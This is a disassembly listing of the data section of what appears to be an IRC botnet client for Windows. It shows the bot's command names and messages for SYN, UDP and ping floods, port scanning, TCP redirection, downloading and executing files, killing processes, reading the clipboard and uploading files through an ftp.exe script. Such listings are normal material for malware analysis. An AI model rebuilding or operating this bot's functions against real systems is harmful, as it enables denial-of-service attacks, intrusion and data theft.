unk_41E9E4 db 1Fh ; DATA XREF: sub_4077FD:loc_40A4AAo
db 2, 73h, 2
db 1Fh
db 68h, 65h, 6Ch
db 6Ch ; l
db 20h, 2, 0BBh
db 2
aCouldnTOpenF_0 db ' Couldn',27h,'t open file: %s',0
align 4
dword_41EA0C dd 273021Fh, 6C65681Fh, 0BB02206Ch, 4620BB02h, 20656C69h
; DATA XREF: sub_4077FD+2CA3o
dd 6E65706Fh, 203A6465h, 7325h
unk_41EA2C db 1Fh ; DATA XREF: sub_4077FD+2C76o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 4
dword_41EA54 dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_4077FD:loc_40A44Do
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
dword_41EA7C dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+2C40o
aLookupSS_ db ' Lookup: %s -> %s.',0
align 4
unk_41EA9C db 1Fh ; DATA XREF: sub_4077FD:loc_40A3EBo
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_41EACC db 1Fh ; DATA XREF: sub_4077FD+2BE4o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessKilledS db ' Process killed: %s',0
align 10h
unk_41EAF0 db 1Fh ; DATA XREF: sub_4077FD:loc_40A38Do
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 4
unk_41EB24 db 1Fh ; DATA XREF: sub_4077FD+2B89o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessKilledI db ' Process killed ID: %s',0
dword_41EB48 dd 266021Fh, 656C691Fh, 2BB0220h, 654420BBh, 6574656Ch
; DATA XREF: sub_4077FD+2B1Ao
dd 25272064h, 2E2773h
dword_41EB64 dd 26D021Fh, 6372691Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh
; DATA XREF: sub_4077FD:loc_40A2C7o
dd 65732064h, 2E746Eh
unk_41EB80 db 1Fh ; DATA XREF: sub_4077FD+2AC3o
db 2, 6Dh, 2
db 1Fh
db 69h, 72h, 63h
db 20h
db 2, 0BBh, 2
aClientNotOpen_ db ' Client not open.',0
align 10h
unk_41EBA0 db 1Fh ; DATA XREF: sub_4077FD+2A84o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aReadFileFailed db ' Read file failed: %s',0
align 4
unk_41EBC4 db 1Fh ; DATA XREF: sub_4077FD+2A71o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aReadFileComple db ' Read file complete: %s',0
align 4
dword_41EBEC dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 736F6874h
; DATA XREF: sub_4077FD+29EEo
dd 25203A74h, 2E73h
unk_41EC08 db 1Fh ; DATA XREF: sub_4077FD:loc_40A1A8o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 4
unk_41EC3C db 1Fh ; DATA XREF: sub_4077FD+2995o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
unk_41EC64 db 1Fh ; DATA XREF: sub_4077FD+290Fo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_41EC84 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_4077FD+2879o
dword_41EC90 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_4077FD+27FDo
; sub_4077FD+2DB9o
dword_41EC9C dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_4077FD+27CEo
unk_41ECA8 db 1Fh ; DATA XREF: sub_4077FD:loc_409FA2o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 10h
dword_41ECE0 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 74616570h
; DATA XREF: sub_4077FD+276Ao
dd 7325203Ah, 0
dword_41ECFC dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: sub_4077FD+269Ao
; sub_4077FD+2744o ...
unk_41ED10 db 1Fh ; DATA XREF: sub_4077FD+2626o
db 2, 75h, 2
db 1Fh
db 70h, 64h, 61h
db 74h ; t
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aBotIdMustBeDif db 'Bot ID must be different than current running process.',0
align 4
unk_41ED58 db 1Fh ; DATA XREF: sub_4077FD+25FEo
db 2, 75h, 2
db 1Fh
db 70h, 64h, 61h
db 74h ; t
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aFailedToStartD db 'Failed to start download thread, error: <%d>.',0
align 4
unk_41ED98 db 1Fh ; DATA XREF: sub_4077FD+259Fo
db 2, 75h, 2
db 1Fh
db 70h, 64h, 61h
db 74h ; t
db 65h, 20h, 2
db 0BBh ;
db 2, 0BBh, 20h
aDownloadingUpd db 'Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_4077FD+24FAo
align 4
dword_41EDD4 dd 265021Fh, 6365781Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh
; DATA XREF: sub_4077FD+248Do
dd 203A7364h, 7325h
unk_41EDF0 db 1Fh ; DATA XREF: sub_4077FD+247Ao
db 2, 65h, 2
db 1Fh
db 78h, 65h, 63h
db 20h
db 2, 0BBh, 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
dword_41EE18 dd 266021Fh, 656C691Fh, 2BB0220h, 0BBh ; DATA XREF: sub_4077FD:loc_409B9Ao
; sub_4077FD:loc_40A31Eo
unk_41EE28 db 1Fh ; DATA XREF: sub_4077FD+2388o
db 2, 66h, 2
db 1Fh
db 69h, 6Ch, 65h
db 20h
db 2, 0BBh, 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
dword_41EE50 dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+2328o
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
dword_41EE88 dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+22CCo
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
unk_41EEB8 db 1Fh ; DATA XREF: sub_4077FD+223Do
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
unk_41EEF8 db 1Fh ; DATA XREF: sub_4077FD+21E4o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_41EF28 db 1Fh ; DATA XREF: sub_4077FD+20FCo
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 4
unk_41EF6C db 1Fh ; DATA XREF: sub_4077FD+20A3o
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 4
unk_41EFAC db 1Fh ; DATA XREF: sub_4077FD+1FA8o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
align 4
unk_41EFE8 db 1Fh ; DATA XREF: sub_4077FD+1F0Do
; sub_4077FD+2001o ...
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStar_4 db ' Failed to start scan thread, error: <%d>.',0
unk_41F020 db 1Fh ; DATA XREF: sub_4077FD+1EB4o
; sub_4077FD+3016o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
aSequential db 'Sequential',0 ; DATA XREF: sub_4077FD+1E89o
; sub_4077FD+2FEBo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_4077FD+1E82o
; sub_4077FD+2FE4o
align 4
unk_41F09C db 1Fh ; DATA XREF: sub_4077FD+1D41o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStar_5 db ' Failed to start scan, no IP specified.',0
align 4
unk_41F0D4 db 1Fh ; DATA XREF: sub_4077FD+1CE1o
; sub_4077FD:loc_40A8D1o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToStar_6 db ' Failed to start scan, port is invalid.',0
align 4
unk_41F10C db 1Fh ; DATA XREF: sub_4077FD+1BFFo
; sub_4077FD+2E34o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 4
dword_41F14C dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+1B9Eo
aFailedToStar_7 db ' Failed to start flood thread, error: <%d>.',0
align 8
dword_41F188 dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+1B3Fo
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_4077FD+1A73o
align 4
aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: sub_4077FD+1A49o
align 10h
aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
; DATA XREF: sub_4077FD+19EAo
db 0
align 4
dword_41F264 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_4077FD:loc_4090F0o
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
align 4
dword_41F294 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+18ECo
aUploadingFil_0 db ' Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_4077FD+18D3o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_4077FD+18BCo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_4077FD+189Eo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aAb db 'ab',0 ; DATA XREF: sub_4077FD+1879o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_4077FD+1868o
align 4
dword_41F304 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+17EAo
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_4077FD+17C7o
align 10h
aP: ; DATA XREF: sub_4077FD+17A3o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_4077FD+178Eo
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_4077FD+1779o
align 4
aU: ; DATA XREF: sub_4077FD+1764o
unicode 0, <u>,0
aUdp_0 db 'udp',0 ; DATA XREF: sub_4077FD+174Fo
aUdpflood db 'udpflood',0 ; DATA XREF: sub_4077FD+173Ao
align 4
aAas db 'aas',0 ; DATA XREF: sub_4077FD+1725o
aAss db 'ass',0 ; DATA XREF: sub_4077FD+1710o
aPsc db 'psc',0 ; DATA XREF: sub_4077FD+16E9o
aPortscan db 'portscan',0 ; DATA XREF: sub_4077FD+16D4o
align 4
aRd db 'rd',0 ; DATA XREF: sub_4077FD+16BFo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_4077FD+16AAo
align 4
aKktt db 'kktt',0 ; DATA XREF: sub_4077FD+1680o
; sub_4077FD+1695o
align 4
aSyn_0 db 'syn',0 ; DATA XREF: sub_4077FD+166Bo
aSynflood db 'synflood',0 ; DATA XREF: sub_4077FD+1656o
align 4
aMv db 'mv',0 ; DATA XREF: sub_4077FD+162Fo
align 10h
aRename db 'rename',0 ; DATA XREF: sub_4077FD+161Ao
align 4
aE: ; DATA XREF: sub_4077FD+1605o
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_4077FD+15F0o
aKkttupw db 'kkttupw',0 ; DATA XREF: sub_4077FD+15C6o
; sub_4077FD+15DBo
aDelay db 'delay',0 ; DATA XREF: sub_4077FD+159Co
align 4
aRp db 'rp',0 ; DATA XREF: sub_4077FD+1587o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_4077FD+1572o
; sub_4077FD+2717o
align 10h
aM: ; DATA XREF: sub_4077FD+155Do
unicode 0, <m>,0
aMode db 'mode',0 ; DATA XREF: sub_4077FD+1548o
align 4
aCy db 'cy',0 ; DATA XREF: sub_4077FD+1533o
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_4077FD+151Eo
align 4
aA_0: ; DATA XREF: sub_4077FD+1509o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_4077FD+14F4o
align 4
aPm db 'pm',0 ; DATA XREF: sub_4077FD+14DFo
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_4077FD+14CAo
aAa db 'aa',0 ; DATA XREF: sub_4077FD+14B5o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_4077FD+14A0o
align 10h
aGh db 'gh',0 ; DATA XREF: sub_4077FD+1479o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_4077FD+1464o
aRf db 'rf',0 ; DATA XREF: sub_4077FD+144Fo
align 10h
aReadfile db 'readfile',0 ; DATA XREF: sub_4077FD+143Ao
align 4
aMirc_0 db 'mirc',0 ; DATA XREF: sub_4077FD+1425o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_4077FD+1410o
aDel db 'del',0 ; DATA XREF: sub_4077FD+13FBo
aDelete db 'delete',0 ; DATA XREF: sub_4077FD+13E6o
align 4
aKi db 'ki',0 ; DATA XREF: sub_4077FD+13D1o
align 4
aKill db 'kill',0 ; DATA XREF: sub_4077FD+13BCo
align 4
aKp db 'kp',0 ; DATA XREF: sub_4077FD+13A7o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_4077FD+1392o
align 4
aDn db 'dn',0 ; DATA XREF: sub_4077FD+137Do
align 4
aDns db 'dns',0 ; DATA XREF: sub_4077FD+1368o
aSew db 'sew',0 ; DATA XREF: sub_4077FD+1353o
aServerw db 'serverw',0 ; DATA XREF: sub_4077FD+133Eo
aO: ; DATA XREF: sub_4077FD+1329o
unicode 0, <o>,0
aPrw db 'prw',0 ; DATA XREF: sub_4077FD+12FFo
aPrefixw db 'prefixw',0 ; DATA XREF: sub_4077FD+12EAo
aK: ; DATA XREF: sub_4077FD+12D5o
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_4077FD+12C0o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_4077FD+1296o
aPt db 'pt',0 ; DATA XREF: sub_4077FD+1281o
align 10h
aPart_0 db 'part',0 ; DATA XREF: sub_4077FD+126Co
align 4
aJ: ; DATA XREF: sub_4077FD+1257o
unicode 0, <j>,0
aJoin db 'join',0 ; DATA XREF: sub_4077FD+1242o
align 4
aN: ; DATA XREF: sub_4077FD+122Do
unicode 0, <n>,0
aNick_0 db 'nick',0 ; DATA XREF: sub_4077FD+1218o
align 10h
aAlls db 'alls',0 ; DATA XREF: sub_4077FD+11DCo
; sub_4077FD+11F1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_4077FD+11C7o
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_4077FD+11B2o
align 4
aCip db 'cip',0 ; DATA XREF: sub_4077FD+119Do
aCurrentip db 'currentip',0 ; DATA XREF: sub_4077FD+1188o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_4077FD+1173o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_4077FD+115Eo
align 10h
aFarp db 'farp',0 ; DATA XREF: sub_4077FD+1149o
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_4077FD+1134o
align 4
aGc db 'gc',0 ; DATA XREF: sub_4077FD+111Fo
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_4077FD+110Ao
unk_41F520 db 1Fh ; DATA XREF: sub_4077FD+10FFo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_4077FD+10CBo
; sub_40C11F+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_4077FD+10BEo
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_4077FD+109Co
align 4
aWho db 'who',0 ; DATA XREF: sub_4077FD+1083o
aDrv db 'drv',0 ; DATA XREF: sub_4077FD+106Eo
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_4077FD+1059o
align 4
aUp db 'up',0 ; DATA XREF: sub_4077FD+1044o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_4077FD+102Fo
align 4
aPs db 'ps',0 ; DATA XREF: sub_4077FD+101Ao
align 4
aProcs db 'procs',0 ; DATA XREF: sub_4077FD+1005o
align 10h
aRrmm010kt db 'rrmm010kt',0 ; DATA XREF: sub_4077FD+FDBo
; sub_4077FD+FF0o
align 4
aSi db 'si',0 ; DATA XREF: sub_4077FD+FC6o
align 10h
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_4077FD+FB1o
aNi db 'ni',0 ; DATA XREF: sub_4077FD+F9Co
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_4077FD+F87o
aAl db 'al',0 ; DATA XREF: sub_4077FD+F72o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_4077FD+F5Do
aT: ; DATA XREF: sub_4077FD+F48o
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_4077FD+F33o
unk_41F5CC db 1Fh ; DATA XREF: sub_4077FD+EFFo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aFailedToReboot db ' Failed to reboot system.',0
align 4
unk_41F5F4 db 1Fh ; DATA XREF: sub_4077FD+EF8o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aRebootingSyste db ' Rebooting system.',0
aReboot db 'reboot',0 ; DATA XREF: sub_4077FD+EE1o
align 4
aIdw db 'idw',0 ; DATA XREF: sub_4077FD+EB7o
; sub_4077FD+ECCo
aS_2: ; DATA XREF: sub_4077FD+EA2o
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_4077FD+E8Do
align 4
aQ: ; DATA XREF: sub_4077FD+E78o
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_4077FD+E63o
align 4
aD: ; DATA XREF: sub_4077FD+E4Eo
unicode 0, <d>,0
aDisconnect db 'disconnect',0 ; DATA XREF: sub_4077FD+E39o
align 4
aR: ; DATA XREF: sub_4077FD+E24o
; sub_4077FD+12ABo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_4077FD+E0Fo
align 4
aStats db 'stats',0 ; DATA XREF: sub_4077FD+DFAo
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_4077FD+DE5o
align 4
aRooting db 'Rooting',0 ; DATA XREF: sub_4077FD+DDAo
aProcess db 'process',0 ; DATA XREF: sub_4077FD+DD5o
aScanstop db 'scanstop',0 ; DATA XREF: sub_4077FD+DBCo
align 4
aSecure_1 db 'SECURE ',0 ; DATA XREF: sub_4077FD+DB1o
align 4
aSecure_0 db 'Secure',0 ; DATA XREF: sub_4077FD+DACo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_4077FD+D93o
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_4077FD+D7Eo
align 10h
aProcsstop db 'procsstop',0 ; DATA XREF: sub_4077FD+D69o
align 4
aTftp_0 db 'TFTP ',0 ; DATA XREF: sub_4077FD+D5Eo
align 4
aServer db 'Server',0 ; DATA XREF: sub_4077FD+D59o
align 4
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_4077FD+D40o
align 4
aPing_1 db 'PING ',0 ; DATA XREF: sub_4077FD+D35o
align 10h
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_4077FD+D30o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_4077FD+D17o
align 4
aUdp db 'UDP ',0 ; DATA XREF: sub_4077FD+D0Co
align 10h
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_4077FD+D07o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_4077FD+CEEo
aSyn db 'SYN ',0 ; DATA XREF: sub_4077FD+CE3o
align 4
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_4077FD+CDEo
align 4
aSynstop db 'synstop',0 ; DATA XREF: sub_4077FD+CC5o
aRedirect_0 db 'REDIRECT ',0 ; DATA XREF: sub_4077FD+CBAo
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_4077FD+CB5o
align 4
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_4077FD+C9Co
align 4
aLog db 'LOG ',0 ; DATA XREF: sub_4077FD+C91o
align 4
aLogList db 'Log list',0 ; DATA XREF: sub_4077FD+C8Co
align 10h
aLogstop db 'logstop',0 ; DATA XREF: sub_4077FD+C73o
aUnsec db 'unsec',0 ; DATA XREF: sub_4077FD+C5Eo
align 10h
aUnsecure db 'unsecure',0 ; DATA XREF: sub_4077FD+C49o
align 4
aSec db 'sec',0 ; DATA XREF: sub_4077FD+C34o
; sub_4077FD+378Do
aSecure db 'secure',0 ; DATA XREF: sub_4077FD+C1Fo
; sub_4077FD+377Co
align 4
aVerw db 'verw',0 ; DATA XREF: sub_4077FD+C0Ao
align 10h
aVersionw db 'versionw',0 ; DATA XREF: sub_4077FD+BF5o
align 4
aLo db 'lo',0 ; DATA XREF: sub_4077FD+BE0o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_4077FD+BCBo
align 4
aDe db 'de',0 ; DATA XREF: sub_4077FD+BB6o
; sub_4077FD+15B1o
align 4
aDie db 'die',0 ; DATA XREF: sub_4077FD+BA1o
aRn db 'rn',0 ; DATA XREF: sub_4077FD+B8Co
align 4
aRndnick db 'rndnick',0 ; DATA XREF: sub_4077FD+B77o
a63 db '63',0 ; DATA XREF: sub_4077FD+A64o
align 10h
asc_41F7D0: ; DATA XREF: sub_4077FD+A45o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_4077FD+A11o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_4077FD+A06o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_4077FD+9F5o
align 10h
aChan db '$chan',0 ; DATA XREF: sub_4077FD+9DCo
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_4077FD+9CBo
align 10h
aMe db '$me',0 ; DATA XREF: sub_4077FD+9B9o
aD_0 db '$%d',0 ; DATA XREF: sub_4077FD+951o
aD_1 db '$%d-',0 ; DATA XREF: sub_4077FD+8B3o
align 10h
dword_41F810 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_4077FD+845o
dd 0A0Dh
dword_41F828 dd 4E495001h, 47h ; DATA XREF: sub_4077FD+811o
dword_41F830 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_4077FD+806o
dd 0D017325h, 0Ah
dword_41F84C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_4077FD+7D5o
dword_41F858 dd 77h ; DATA XREF: sub_4077FD+693o
; sub_4077FD+6A8o
dword_41F85C dd 323333h ; DATA XREF: sub_4077FD+606o
; sub_4077FD+6CAo ...
unk_41F860 db 1Fh ; DATA XREF: sub_4077FD+587o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aUserSLoggedOut db ' User: %s logged out.',0
align 4
a353 db '353',0 ; DATA XREF: sub_4077FD+537o
aPart db 'PART',0 ; DATA XREF: sub_4077FD+4E9o
; sub_4077FD+5A4o
align 10h
aSS_0 db ':%s%s',0 ; DATA XREF: sub_4077FD+4C1o
align 4
aNick db 'NICK',0 ; DATA XREF: sub_4077FD+3ADo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+350o
; sub_4077FD+5C8o
unk_41F8B0 db 1Fh ; DATA XREF: sub_4077FD+337o
; sub_4077FD+38D0o ...
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_4077FD+2D4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+27Fo
; sub_4077FD+2DD5o ...
align 4
a433 db '433',0 ; DATA XREF: sub_4077FD+257o
a@: ; DATA XREF: sub_4077FD+225o
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_4077FD+215o
a005 db '005',0 ; DATA XREF: sub_4077FD+200o
a001 db '001',0 ; DATA XREF: sub_4077FD+1EBo
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+1CFo
; sub_4077FD+39Ao ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+1AEo
align 4
aPing db 'PING',0 ; DATA XREF: sub_4077FD+194o
align 10h
asc_41F920: ; DATA XREF: sub_4077FD+185o
; sub_4077FD+39C4o
unicode 0, <!>,0
asc_41F924: ; DATA XREF: sub_4077FD+A1o
; sub_4077FD+B1Bo
unicode 0, < >,0
asc_41F928 db ' :',0 ; DATA XREF: sub_4077FD+7Fo
; sub_4077FD:loc_40804Co
align 4
dword_41F92C dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_40B359+48o
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
dword_41F958 dd 273021Fh, 206E791Fh, 0BB02BB02h ; DATA XREF: sub_40B3F5+295o
aSendErrorD_ db ' Send error: <%d>.',0
align 4
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B6FE+39o
align 8
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40B807+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 10h
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40B807+1AEo
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B807+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B807:loc_40B96Bo
align 10h
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_40B807+EBo
a2003 db '2003',0 ; DATA XREF: sub_40B807+BAo
align 10h
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40BABB+ABo
align 10h
off_41FAE0 dd offset loc_412F4C+2 ; DATA XREF: sub_40BABB:loc_40BB2Fo
dword_41FAE4 dd 4E414Ch ; DATA XREF: sub_40BABB:loc_40BB28o
dword_41FAE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BABB+5Eo
dword_41FAF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BABB+48o
dword_41FB00 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40BB81+47Do
unk_41FB0C db 1Fh ; DATA XREF: sub_40BB81+3B6o
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFileNotFoundSS db ' File not found: %s (%s).',0
align 4
dword_41FB34 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_40BB81+399o
dword_41FB48 dd 21F5B1Fh, 64643168h, 1F026E33h, 0BB201F5Dh, 2520BBBBh
; DATA XREF: sub_40BB81+344o
dd 72202C73h, 696E6E75h, 2520676Eh, 73h
unk_41FB6C db 1Fh ; DATA XREF: sub_40BB81+15Ao
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aFailedToOpenFi db ' Failed to open file: %s.',0
align 4
